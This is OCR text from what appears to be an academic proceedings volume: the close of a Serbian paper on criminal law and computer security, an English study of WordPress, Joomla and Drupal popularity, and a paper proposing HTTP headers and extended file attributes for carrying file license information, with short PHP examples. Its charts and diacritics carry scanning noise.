pravljenje, nabavljanje i davanje drugom sredstava za
izvr$enje krivi¢nih dela protiv bezbednosti ra¢unarskih
podataka.

4. ZAKLJUCAK

Najopasnija forma povrede i ugrozavanja racunar-
ske bezbednosti predstavljaju razliciti oblici ra¢unarskog
kriminaliteta. To moze biti bilo klasi¢ni, bilo organizo-
vani kriminalitet koji ako je upravljen protiv ra¢unarske
bezbednosti, polako ali sigurno zauzima svoje mesto u
obimu, dinamici i strukturi savremenog kriminaliteta.
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Uocavajudi opasnosti od zloupotrebe ra¢unara i savreme-
ne tehnologije koja je povezana sa ra¢unarskim sistemima,
medunarodna zajednica je reagovala dono$enjem odre-
denih medunarodnih dokumenata. Standardi sadrzani u
njima su tako postali osnova za jedinstvenu akciju poje-
dinih drzava i na nacionalnom planu u cilju sprecavanja
i suzbijanja ra¢unarskog kriminaliteta svih vrsta, oblika
i vidova ispoljavanja.

Na bazi medunarodnih standarda koje je prihvatila i
Republika Srbija, jos 2003. godine je u domacem krivi¢-
nom zakonodavstvu uvedeno vise ra¢unarskih krivi¢nih
dela sa razlic¢itim oblicima i vidovima ispoljavanja i siste-
mom krivi¢nih sankcija za njihove ucinioce. To su najtezi
i najozbiljniji oblici ugrozavanja ili povrede racunarske
bezbednosti. Potom je formiran sistem drzavnih organa
specijalizovanih za otkrivanje i dokazivanje kriivénih dela
ove vrste, kao §to su tuzilac za visokotehnoloski kriminal
i odeljenje Viseg suda u Beogradu za visokotehnologki
kriminal, uz istovremeno formiranje i specijalizovanih or-
gana u Ministarstvu unutrasnjih poslova Republike Srbije.
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PROTECTION OF COMPUTER SECURITY THROUG CRIMINAL LAW

Abstract:

Today, computers and computer systems have become an essential companion
of a human life but also of a economic business, as well as work of state and
other organs. Even though these are useful devices and systems for efficient and
quality functioning of each state, and international relations, they are subject
to a high risk and challenges of natural and legal persons for various reasons
(motives). On the basis of adopted international documents of international
and regional character, major number of the countries in their legislations,
including the Republic of Serbia, have recognized various mechanisms of
protection and enabling efficient, quality and due functioning of computer
systems and devices. A special part of this protection is legal protection, in
the first line criminal and legal protection of security of computer systems.
Therefore, the legislation of the Republic of Serbia provides for criminal
responsibility and penalties for many computer criminal offences, and this
papers speaks about their characteristics from theoretical and practical aspect.

Keywords:

computer, computer systems, computer security, criminal offence,
responsibility.
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Abstract:

The paper is dedicated to the analysis of the most popular Open Source Web
Content Management System. The paper presents basic concepts and results
of the gathered information related to participation of three the most popular
systems, during period 2008 to 2011. Based on this information, the paper
shows the trends in the development and popularity on the market. Through
analysis of available information it has been proven, that the practice already
knows, that the three most prominent systems are: Word Press, Joomla and
Drupal, and exactly in that order in which they appear. Around the globe
many researches has been conducted in order to find out which of these three
systems is the best and why, but this question remains unanswered. We want
to indicate in the paper that each of three systems is the best in its area of
use, depending on the purpose and level of knowledge of the users.

Keywords:

Open Source, Web Content Management System, Word Press, Joomla,
Drupal.

1. INTRODUCTION

Currently a lot of content management systems which are available
to users are present on the market. Each of them has advantages and
disadvantages in meeting client needs. Certain number of these products
are launched on the market as open source software under GNU license
[11]. This license allows increased flexibility and expandability. CMS is
presenting a content management system which is covering all possible
solutions allowing contents classification, organization, linkage of content
and every other solution of content editing [10]. This term can be used for
manual processes of content management although it is mostly implicat-
ing on various software solutions enabling advanced management of large
number of information. The most present form of CMS implementation is
on Internet known as WCMS (Web Content Management System). One
of pioneer WCMS solutions was published under the name of Mambo,
achieved great success due its using simplicity. Beside providing many
advantages to webmasters, mambo often gives visitors opportunity to
comment and mark the content which site gives more dynamics and
interactivity [12],[14].
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WCMS - Web Content Management System

WCMS (WCM or Web CMS) is CMS, which is
launched as a web application, providing an option of
easily creating and maintaining of HTML content. Moreo-
ver it is designed for maintaining large and dynamic
HTML contents.

The basic functions are the following:
a) creating,
b) maintenance,
c) changes and
d) deletion.

WCMS is designed to meet the needs of beginners in
web programming, allowing them to quickly and easily
change the content of the web site. WCMS meets the chal-
lenge to be user friendly to administrators, who are not
educated enough, technically, allowing them to develop
web pages and organize presentations via WCMS without
difficulties [2],[13].

The term Open Source

Currently there are two different interpretations: “Free
Software” and “ Open Source”

The term “Free Software” has root at GNU project and
it could be defined as follows: free software is matter of
choice not the price [15].

™

open source

Image 1. Official Open Source Logo

In order to understand this concept we should think
in a way that “free” are like” freedom of speech” not
like “free beer”. Free of charge software is “users right
to use the software, make a copy, distribute, change and
eventually improve “issue® It is important to be men-
tioned that Open Source is not free of charge software
nor only that its code is available to all users. Depending
on the license under which software has been launched
it gives us a wide scope of abilities of improvements
and re-distribution under different name (fork) as well
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as free of charge using. Moreover the free use depends
of license owners, some of them could be used only in
private, and commercial use is not allowed by license
owner. Finally there is a difference between Open Source
and commercial software where the author is willing
to make some profit, but in same time the commercial
software could be “open code” like it is in case of PHP
computer language use [12].

2. THE ANALYSIS OF THE MOST POPULAR
CMS SOLUTIONS

The rapid expansion of CMS systems, both commer-
cial and open source, has become a mystery which system
is used more. In this paper we processed all available
information about three leading open sources and pro-
viding data about them. One of the major CMS systems
indicators of use and popularity level is the number of
downloads, unfortunately this information is not a good
bases for deep analyze and conclusions. Comparing the
information we could note the following problematic
reasons:

1. Data are not available on many systems

2. Measuring time of targeted groups of data varies

3. Some download sites presents statistics that are
not gathered automatically

4. Web servers have an automatic package installa-
tion (Cpanel, plesk, fantastico)

5. The installation packages that are included in
Linux distributions (Debrian or Gentoo) are also
not included in this analysis

6. Rates of downloads are not constant over time
(release of new version etc)

If we want to conduct deep analysis, we must take in
consideration the possibility that information about the
number of downloads, in following chart, are potentially
inaccurate.

1,200,000

1,000,000

800,000 \
600,000 /

400,000

200,000 A o~ SR

0

0g8' 09’ 10 1
—e—WordPress | 146,847 433,767 983,625 644,880
—8— Joomla 75,524 189,429 113,836 86,547
Drupal 0 62,500 33,671 22,836

Fig. 1. Analysis of downloads for period 2008-2011.
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One of following topics, which could provide us with
some information regarding the number of users, is sup-
port of the market and their participation in further de-
velopment. In order to get adequate data, we will analyze
following two groups:

1. Developers
2. Publishers

Above mentioned groups are the most eligible for
analysis comparing to other available sources of informa-
tion. In order to present precise information regarding
developers and publishers, we took information about
service development and demand from labor market for
developers from two leading providers of online com-
mercial services. The first provider is Elance and the
second provider is Guru. In conducting deeper analyze of
these systems we include the data regarding the number
of professionals are offering their services in this area.
Observing the chart that follows we could notice the dif-
ference in number of users per each system for targeted
period of time 2008 to 2011.

The chart indicate the market demand for professional
services in field of CMS systems, furthermore we must
take in to consideration the fact that significant number
of users independently develop their sites using CMS
systems.

25,000

15:000 A A

NN\

o VAR VAR
n\\/\/

Eleanc| Guru [Eleanc| Guru |Eleanc| Guru (Eleanc| Guru
e08 | 08 [e09 | 09 |e10| 10 [e11 | 11
—e— Wordpress | 2,281 | 785 | 3,069 | 1,547 (16,321 3,758 |19,215 4,536
—s— Joomla 1,844 | 495 (2,416 | 1,243 |12,857| 3,745 [15,253| 4,650

Drupal 933 | 353 |1,626 | 779 (6,500 | 2,043 |8,258 | 2,784

g

Fig. 2. Analysis of market demand for professional
services 2008-2011.

Moreover, additional indicator of this thesis is the
number of print publications related to this subject.
Taking in consideration that publishers are guided with
profitability, due to that, the publishing only issues with
existing market demand. Having this fact, we believe
that conducted analyze presents the market demand for
CMS solutions, as well as the number of users, which
are independently developing themselves, consequently
decreasing the demand to professional assistance in the
field of CMS systems and similar online systems.
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Fig. 3. Analyze of published edditions 2008-2011.

The chart above presents data regarding the number
of published titles in connection with mentioned CMS
systems. The source is Amazone site. The information
is limited only to English printed editions, which could
provide us the fact regarding popularity of mentioned
CMS systems, that is presented in this paper. The last
indicator we have used in this paper is strength of brand
of mentioned CMS solutions. Measuring the strength
of brand of Open Source product is quite challenge, it
is not only due to the lack of maturity and commer-
cial sophistication nor due to the non-existing simple
method of determining the strength and popularity of
above mentioned brands. As a solution to this problem
we used Internet, trying to get information from large
number of specimens. The data that follow in next chart
are result of usage of site for online statistics — Alexa.
Having a benefit of taking information from Alexa we
are able to determine the popularity of domain, which
is standing behind these three CMS. We must have in
mind, like it was the case in previous analyzes, that this
method is not 100% reliable, but still able to provide the
data regarding correlation of popularity between these
three systems [1],[5],[6],[7],[9],[13].
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Figure 4: Alexa analyze, period 2008-2011.
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3. DISCUSSION

The first indicator in series of indicators that we have
analyzed, is the number of downloads, beside the fact it
is not reliable method, it indicates which one of three
systems is the most used one, through analyzed period
of time. Of course this is not valid indicator of level of
usage, but definitely it presents the interest of the market
at functional design of product and ability to be used
for testing.

We must have on our mind that a lot of users down-
load the installing software in order to test it, without
intention to use it, in their site design. According to data
of number of downloads (see Figure 1), we could notice
that all three systems are declining lately (Wordpress
has bigger drop than competitors), since this is not only
indicator, in next chart (see Figure 2) information about
labor market demand is presented, from two leading sys-
tems for mediating between demand and offer for job on
internet, which give us a clear picture of how many job
offers exist per each system. In this chart we can observe
that Wordpress is an absolute leader during the targeted
period of time which supports the data in first chart
(see Figure 1). These two above mentioned indicators,
clearly presents the volume of downloads per targeted
system, as well as market demand of experts in this field.
Moreover this data could give us a picture how many job
opportunities are present on internet for someone who
is expert in this field.

It is important to be mentioned that Drupal is mostly
used by large number of professionals, which is supported
with data presented in all charts in this paper; conse-
quently there is lower demand for this profile experts. As
it is explained with Drupal, there is also an explanation for
leading CMS system in our analysis. Wordpress is lead-
ing system, supported with large number of users, which
have a personal blogs or sites which are not extremely
demanding. Charts also present Joomla as system which
is in the middle, according to all indicators. Joomla also
has significant demand on the market, mostly used for
developing web pages of companies and more demanding
projects, which is based on Joomla’s user friendly features
of the system [8],[10].

For the all analyzed systems a number of books and
manuals was published, which helps users to overcome
techniques how to use systems. Thanks to that, undoubt-
edly, we can see the support of wider community in the
development of open source projects and what kind of
future they have.
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The last chart (see figure 4 and image 2) presents in-
dicators of online systems for web statistics, which data
are reliable as well as previous analysis, observing that
this system is good for monitoring of these system over
many years, taking in consideration the fact that Alexa
is indexed based on same criteria.

Market share

Other:10%
i %,
Pl

APPLICATION 'WEBSITES USING THIS PAGEVIEWS
i WordPress 3,581,849 209,445,476

B Joomia 619,260 20,576,267

@ e o= om

@ Drupal 350,003 42,622,231

Image 2. Highcharts.com Statistic [3]

This chart supports other analysis which is indicating
that Wordpress is leader against Joomla and Drupal. The
index of these systems are constantly increasing which is
leading us to suspect the validity of first chart (See Figure
1), which provides us a basis to made a conclusion that
interest for these three systems is constantly dropping.

We must remind you , that all available information,
that are processed and presented in charts, are not 100%
reliable, only alternative solution is to get more confi-
dential sources and cross data to provide more reliable
conclusion.

4. CONCLUSION

Content management systems (CMS - Content
Management System) is software solution, which unlike
traditional methods of content management, are more
friendly using, in terms of knowledge requested and the
time consumption. Currently there is a large number of
CMS on the Internet, but it is difficult to make a choice
and select the best one. Each system has his advantages
and disadvantages, in another words they are more or
less convenient to meet the task.

Some of systems have a great potential, but they are
not user friendly, while others provide just basic elements
of functionality with very user friendly features. Because
of all above mentioned it is difficult to make a proper

Internet and Development Perspectives



choice, and the best way is to define needs of the site and
demands of persons who will develop the site and then
make a proper choice.

Choosing CMS could be long and difficult process,
especially due to the existence of large number of systems
on the market. On site “Sourceforge.net” 600 active Open
Source CMS projects are available [4].

The paper offers three solutions, based on popularity:
1) systems which are extremely user friendly for users
with low knowledge and serious requests (leader Word-
press) 2) systems for semiprofessionals and more serious
requests (leader Joomla) 3) systems which are meeting
the request of professionals which are involved in chal-
lenging projects (leader Drupal).

The market already recognized order of popularity
between three mentioned systems and it is as follows:
Wordpress, Joomla and Drupal which is confirmed in
the paper. All conducted analyses support this thesis. We
regret the unavailability of data for 2012 - 2016 during
the writing of the paper, because it would increase the
level of reliability and timeliness of the paper.
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Abstract:

This paper describes an implementation of a method of sending file license
information for files downloaded from a server. There are many files available
for download on the Internet and many of them were created by authors who
have published them under a certain license. In most cases, the license infor-
mation is lost or is unknown by the person downloading the file. Those files
may be images, video content, text documents, audio recordings, executables,
compressed archive files with software source code, educational materials of
different kinds etc. Currently, the only way to specify the license information
is to embed the license information in a file (overlay or stamp on an image,
footer text in a document, a separate file in a compressed archive of files, etc.)
or to show license information on the web page shown just prior to the step
where the download link is available. This proposed method does not provide
for a way to embed the license information into the original file, but instead,
it allows for the license information to be sent with the file from the server
to the user in the same HTTP response and vice-versa, from the server to
the client. The license is stored using the extended file attributes mechanism.

Keywords:
extended attributes, HTTP headers, license, concept.

1. INTRODUCTION

Simply put, a license is a permission to use the property of another per-
son [1]. There are many types of licenses that specifically relate to electronic
documents, such as images, videos, audio recordings etc. The license type
used for demonstration in this paper is a group called public copyright
licenses [2]. Other terms, such as free license, open copyright license are
used to refer to one kind of the public copyright license or another. Licenses
are important, especially for authors of original intellectual work as well as
original creative such as art, photography, music etc. Licenses, as methods
of giving permission to use protected intellectual and creative works, are
managed by a network of treaties and conventions [3] as well as national
laws in every country. For example, all countries of the European Union
are signatories of the Berne Convention for the Protection of Literary and
Artistic Works and Trade-Related aspects of Intellectual Property Rights
Treaty [4]. Treaties such as these recognise licenses as a method of giving
usage rights for otherwise protected works [5].
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There are multiple ways for authors of original work
(licensors) to grant licenses to licensees [6]. The way
which is predominant on the Internet, whenever materials
which are subject of the license, is to send a copy of the
license agreement document issued by the licensor in the
form of a separate file, usually a text document.

In this case, the text document containing the license
text, which specifies the limitations and the conditions,
is supposed to accompany the licensed work at all times,
even when it becomes a part of a new whole. An example
of this text is the MIT license, which states that “The
above copyright notice and this permission notice shall
be included in all copies or substantial portions of the
Software”” [7] In most cases, it is not particularly hard to
include the original text of the license in the end product,
as it does not require much storage space. Since there are
no technical limitations for making the original license
accessible to interested parties, we must look at other dif-
ficulties that prevent us from complying with conditions
specified in the license. Regardless of reasons for not be-
ing able to comply, they ultimately consider it irrelevant.

However, there are situations when it is impractical or
impossible to include or display the license in a transpar-
ent manner. An attempt to better explain these situations
and license distribution problems is made in the next
section which illustrates a typical use case on the Internet.

2. WEB BASED IMAGE GALLERY USE CASE

An example which illustrates the problem of license
distribution is an implementation of an image gallery of
paintings or photographs by different authors. Painters
and authors of photographs presented in the gallery can
license their works for use in this manner of presentation
under different conditions. The website hosting the image
gallery would have to accompany every image with the
adequate text of the license or at least with a download
link where the visitor can open and view the license text
for the particular image. Aside from obvious impacts on
the design of the image gallery, there is another issue that
should be addressed in such situations. In case of public
copyright licenses, authors of works in question might
allow the public to freely use their work in their products
aslong as they publish the license along with the derived
work, in case that the license allows for derivative work
to be made from the original [8]. In case the image gal-
lery does not provide a way to download both the image
and the license at once in a single container, eventually
the image will be posted on a different web page and its
license will be lost, as it is not immediately associated with
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it. For the majority of public copyright licensed work, this
might not be seen as a potentially problematic situation,
but for commercial users it might. This is because some
licenses allow free use of licensed works for personal and
non-commercial use, but disallow or require payment
or purchase of works when they are going to be used
commercially [9].

These kinds of licenses that allow free use to one group
and limit it to another are generally not considered public
copyright licenses, in case of most electronically distrib-
utable materials or open source licenses [10], in case of
software.

Because there are versions of public copyright licenses
that allow and those that disallow derived works to be
made from the original work which the license applies to,
when an individual wants to use the work with modifica-
tions or in combination with others, which is treated as
derived work [8], he or she should familiarise with the
type of license under which the work is published. If the
file was downloaded and re-uploaded to different sources
multiple times, it can be hard to find its original source
and retrieve a copy of the license. Also, it may sometimes
be hard to even locate the author or an original work in
order to request a license directly.

3. IMPLEMENTATION

Although there are different methods of achieving de-
scribed license distribution, this paper presents a method
that does not require modifications to the application layer
communication protocol used for data transfer between
the server and the client and vice-versa. Instead, this
method uses an already described mechanism available
in HTTP (The Hypertext Transfer Protocol). Since HTTP
is an application layer protocol used to access content
from different locations on the web it is also capable of
transmitting certain meta-data about the content being
delivered [11] [12].

HTTP Request and Response Headers

This meta-data is usually transferred within a HTTP
response header [13]. HTTP headers are part of responses
that are always delivered first. Headers contain multiple
lines of text that describe the content that follows in the
response body. Among these lines of text is the informa-
tion such as the total size of the incoming response body
as well as its type (image, text, application, spreadsheet
document etc) as well as some supplementary information
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used by the browser for content caching etc. [13] [14] The
header mechanism allows for defining arbitrary header
lines [13]. Taking advantage of this feature is a key part
of the license distribution method from the server to the
browser. Just like the server can use HTTP response head-
ers to embed the license information, the browser can use
an analogous mechanism available in HTTP Requests.
HTTP Requests are sent by the browser to the server. They
carry information such as the web page that the browser
wants to open or a file that the browser wants to download
from the server at the specified path. This information is
stored within the header section of the request, which is
always delivered first, just like the response. The header
consists of lines of text that describe the request as well
as the browser used to make the request. For example,
these header lines store information about the browser
vendor, name, version, operating system type, version,
build, available support for different scripts, languages,
encodings etc. [15] Whether a request has a body or not
depends on the HTTP method used. If data is being sent
using the POST method, the request contains the data
within its body section. When sending files, they are sent
as base64 encoded text of their content along with leading
lines of text specifying their original name and extension.
The protocol cannot be modified to include license infor-
mation in this section. This is why the method presented
in this paper utilises the possibility of adding user defined
lines to both the request and response headers in order
to send additional information about file licenses from
the server to the client and vice-versa.

Extended File Attributes

When uploading a file from a browser to the server via
HTTP, its content is sent, but it does not include license
information. Presumably, there is no way to embed the
license information into the file. This is true for most file
formats and the simplest example that proves that there
is at least one type of file that cannot have any additional
information embedded is a plain text document. All data
within it is principal and would not be ignored or skipped
by a parser or viewer. Based on this presumption, license
information must be stored elsewhere. Additionally, when
a file is being uploaded by the browser, it should be able
to extract this additional license information from its
storage space and include it into the request header as
explained in the previous subsection.

For this method, the storage space for information
about the license for a file is implemented using extended
file attributes. The ability to store extended file attributes
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is a mechanism available in most major file systems used
today, such as EXT, NTES etc. Although implementations
vary, system level application programming interfaces
provide support for handling extended file attributes
[16] [17].

File handling on the server side

For the demonstration of this method, the server and
the web page used to upload the file are configured in
such a way that the server side application that handles
file reception and sending is written in such a way to read
and write license information about the file into extended
file attributes.

The server is configured in such a way that the server
side application handles its dispatch to the browser when
a file is requested for download. Instead of merely send-
ing the content of the file as the server, the application
reads the extended file attributes of the requested file to
find license information. As the implementation is done
using PHP, appropriate PHP functions are used [18]. If
license information is found for the requested file, it sends
an additional response header line with the appropriate
content, specifying license information.

When receiving a file from the browser, the applica-
tion also reads the license information from the request
header. If license information is found, upon storing
the file on the file system, it additionally stores license
information in an apt extended file attribute. The next
time when this file is requested for download, the stored
license information is delivered in the response header
along with its content. Just like with reading the extended
file attributes, the application uses appropriate PHP func-
tions to write the attribute [19].

This way, the preservation of the license information
is achieved on the side of the server.

Delegating request handling to the server-side application

In order to have the server-side application handle all
requests as explained earlier, the server is configured to
pass all requests to it for processing. The web server is an
instance of the Apache2 Web Server application. There is
an apache server module called the rewrite module which
allows for request rewriting. Using the Apache2 server’s
per-directory configuration overwriting mechanism, all
requests are routed to a single server-side PHP applica-
tion that will handle them. Request routing is done by
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specifying a request rewriting rule in the file named .htac-
cess [20] in the root directory of the web application. The
sample content of the .htaccess file used for the testing of
this concept is listed below.

<ifModule mod_rewrite.c>

RewriteEngine On

RewriteRule ~(.*)$ index.php [L]
</ifModule>

Listing 1. The content of the .htaccess file used for the

demonstration.

As shown in Listing 1, all requested paths are dis-
patched to index.php for further processing. In the PHP
application, the original requested path can be found
in the server information associative array [21] at in-
dex REQUEST_URI. The HTTP request method can
be found in the server information associative array at
index REQUEST_METHOD. Custom headers sent with
the request can be found at indices starting with HTTP_
[21, p. #89567]. A part of the PHP application’s code that
gathers information about the original request path and
method is shown in the listing below.

$url
$mtd

filter_input(INPUT_SERVER, 'REQUEST URI');
filter_input(INPUT_SERVER, 'REQUEST_ METHOD');

Listing 2. Part of the application that acquires request
information.

Note that the server information index is not sanitised
with an appropriate filter in Listing 2. Ideally, the filter_in-
put function should be called with a proper filter for the
third argument, like the FILTER_SANITIZE_STRING
filter [22].

If the received request’s method is POST, the appli-
cation checks if there are files in the request body. If so,
these files are uploaded to a private directory on the server
and the application checks for license information in the
request header, matching the HTTP field names under
which these files were uploaded. Data about uploaded files
is located in the $_FILES global array in a standardised
format [23].

The proper name of the index in the server informa-
tion associative array, sent via HT TP headers, containing
uploaded file’s license information is formed by prefix-
ing HTTP_ to the HTTP POST data field name of the
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particular file. If each file that is being uploaded is as-
signed a unique field name, their field names become
keys of the $_FILES array in PHP.

The code shown below illustrates a way to retrieve
license information from the request header for the sec-
ond uploaded file whose field name is not known by the
application.

$index = 1; # The second file (counting from @)
$fileFieldNames = array_keys($_FILES);

$fieldName = $fileFieldNames[$index];

$licenseLine = 'HTTP_License-' . $fieldName;
$license = filter_input(INPUT_SERVER, $licenseline);

Listing 3. Retrieving license information about the
second uploaded file.

If there is no license information for the particular file,
the variable remains empty. This indicates that the browser
did not include license information for the particular file.

After completing the upload process for a particular
file to its final destination on the server’s file system, the
application will execute a function that will write the
retrieved license information into extended file attributes
space for the particular file. For this demonstration, a
simple user space key name is used. The key name is user.
license. The following code shows how the application
stores license information about a recently uploaded file.
The uploaded filename and license information is stored
in appropriate variables called $destination and $license,
for the purpose of this example.

xattr_set($destination, 'user.license’, $license);

Listing 4. Storing license information in extended file
attributes storage.

Note that for the above shown code to work the xattr
Pear package must be installed on the server and the
Apache2 system user must be granted Access Control
Lists permissions to the directory where files are being
uploaded [24].

Finally, when the file retrieval scenario is being ex-
ecuted, the application would read the license informa-
tion from the requested files extended file attributes. If
this information available, it adds a license information
header line into the HTTP response header, thus send-
ing the license information to the browser along with
the content of the file. A sample code demonstrating this
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process is shown in the following listing. The path to the
file being sent is stored in the variable $path.

$license = xattr_get($path, 'user.license');

if ($license !== false) {
header("File-License: " . $license);

readfile($path);

exit;

Listing 5. Adding license information for the file being
sent to the header.

The code shown in Listing 5 follows all other codes
written in preparation for sending the requested file, such
as content type, size, download file name, flag to force
download and other header information specification.
The output buffer must remain empty at the time this
code gets executed to prevent contamination of the file
content sent in the response body. Preferably, the output
buffer should be cleaned before executing this code. This
can be done using the ob_clean function in PHP [25].

File handling on the client side

The client-side is more difficult to implement as it
requires the Internet browser to be aware of the additional
response header lines when receiving a file and should
be aware of the need to send additional request header
lines when uploading a file or a number of files. Also, the
browser should store extended file attributes along with
the file when saving it as well as reading the attribute
when uploading it to the server. Implementation of this
functionality is currently not possible without completely
rewriting the source code of the web browser and having
it natively support the license information retention via
extended file attributes.

However, there are two ways to test the method in
order to prove it as a valid concept. The first way is to use
an unsecure Internet browser with all security features
reduced to lowest settings in order to allow execution of
commands on the client side. These commands would be
used to write extended file attributes for the downloaded
file. The second way is to write an Internet browser simu-
lator as a client side application that would simulate file
upload and download. This application would have the
ability and permissions to execute system commands to
write extended file attributes. Both methods are unlikely
in the production scenario, especially the first which
requires lowering of security settings and using ActiveX
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WScript.Shell objects to execute shell commands on the
client. This functionality is no longer supported by any
major Internet browser other than Microsoft’s Internet
Explorer. Even in the most current version of this browser,
this functionality is considered deprecated. [20] As it
is much simpler to write an application to simulate a
browser, this way is used to prove the concept of the
licence information preservation method presented in
this paper.

An Internet Browser Simulator

The Internet Browser Simulation application used to
demonstrate the proof of concept of the licence preser-
vation method provides two usage scenarios. These sce-
narios are file retrieval and file upload. In the first scenario
the application sends out an HTTP GET method request
for a file at a specified path. If the server includes license
information in the response header, the application stores
the license information into extended file attributes for the
downloaded file. In the second scenario the application
sends out a multipart/form-data HTTP POST method
request with the file included in the request and the li-
cense information for the file sent in the request header.

When the file retrieval scenario is executed, the HTTP
response is received and processed. The header is parsed
and a line starting with File-License is located, if present.
File license information is extracted from the header and
is kept in memory until the file download is complete.
When the file is downloaded, it is stored at an appropri-
ate location on the file system. After this, the program
executes an adequate, platform dependant, command
that stores license information by setting extended file
attributes or file properties for the downloaded file. Im-
plementation of this process varies depending on the
operating system and the used file system. Some file sys-
tems do not support extended file attributes or similar
mechanisms of storing additional meta-data about files
[27]. In these cases, alternative methods for storing file
license information are possible, but their implementa-
tion would go outside of the scope of this paper and the
method presented herein.

When the file upload scenario is executed, the pro-
gram reads file license information from extended file
attributes and creates a header line formed as a key-
value pair separated by a colon. The key part is formed
by adding the HTTP POST data field name for the file
being uploaded to License-. The value of the pair is the
license identifier. As mentioned earlier in the paper, open
copyright licenses are supported and used for this imple-
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mentation. An example of the license information header
line is shown in the following listing.

License-picture_1: CC 4.0 BY-ND

Listing 6. An example of a file license information
request header line.

Listing 6 specifies that the file uploaded under the field
name picture_1 is published under a Creative Commons,
Attribution without Derivatives license, version 4.0 for
use in internationally available content. This means that
anyone who uses this file can share it freely, but they
cannot modify it in any way. Every type of license can be
abbreviated to a short string indicating the type, version
and any generalised restrictions that the license imposes
on the user.

Currently, this method is limited to a predefined set
of licenses that can be identified by parsing the license
string. This way, specialised software can show the full
text of the license, which is available on-line. A pos-
sible solution to this limitation is the introduction of a
specialised license type for own licenses, where the user
would specify a URI with license details. The presented
method does not allow this kind of content to be set as
a license information value of the file’s extended file at-
tribute because of security concerns.

4. CONCLUSION

In this paper, a method of storing and retrieving file
license information is presented. Also, it explains a work-
ing concept of a mechanism for sending the license infor-
mation over the network via the HTTP application layer
protocol by including it in HTTP request and response
headers. The proof of concept implementation utilised
extended file attributes mechanism of modern file systems
for storing license information for files on the server and
the client side. This mechanism is supported by major
platforms and file systems, but in some configurations it is
not enabled by default. It is explained that the major issue
in making this method common practice is the inability to
have modern browsers and operating systems supporting
it and making it achievable without the use of additional
software and special platform configurations on both cli-
ent and server sides. The browser simulation application
is programmed to add license information in additional
header lines and to retrieve them from response headers.
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However, browsers cannot be easily modified to perform
this without rewriting their source code.

At this point, it is unlikely that this method can be im-
plemented, even through plug-ins or extensions installed
on the system or the browser, but if the method were to
be considered for adoption into a standard supported by
major browser vendors, its practical use would be possible.

It is the author’s opinion that there is potential for
further development of this technology, as well as obvi-
ous use for it in securing rights of creators of original
works who wish to impose certain limitations to the way
their work may be used. It is in no way the author’s wish
to exclusively support copyright and the expansion of
restrictions inflicted by copyright laws and regulations.
Instead, the aim of this work is to encourage the use of
public or open copyright licenses and to provide a way
to preserve information about the license under which
original work contained within a file was published by
its author.
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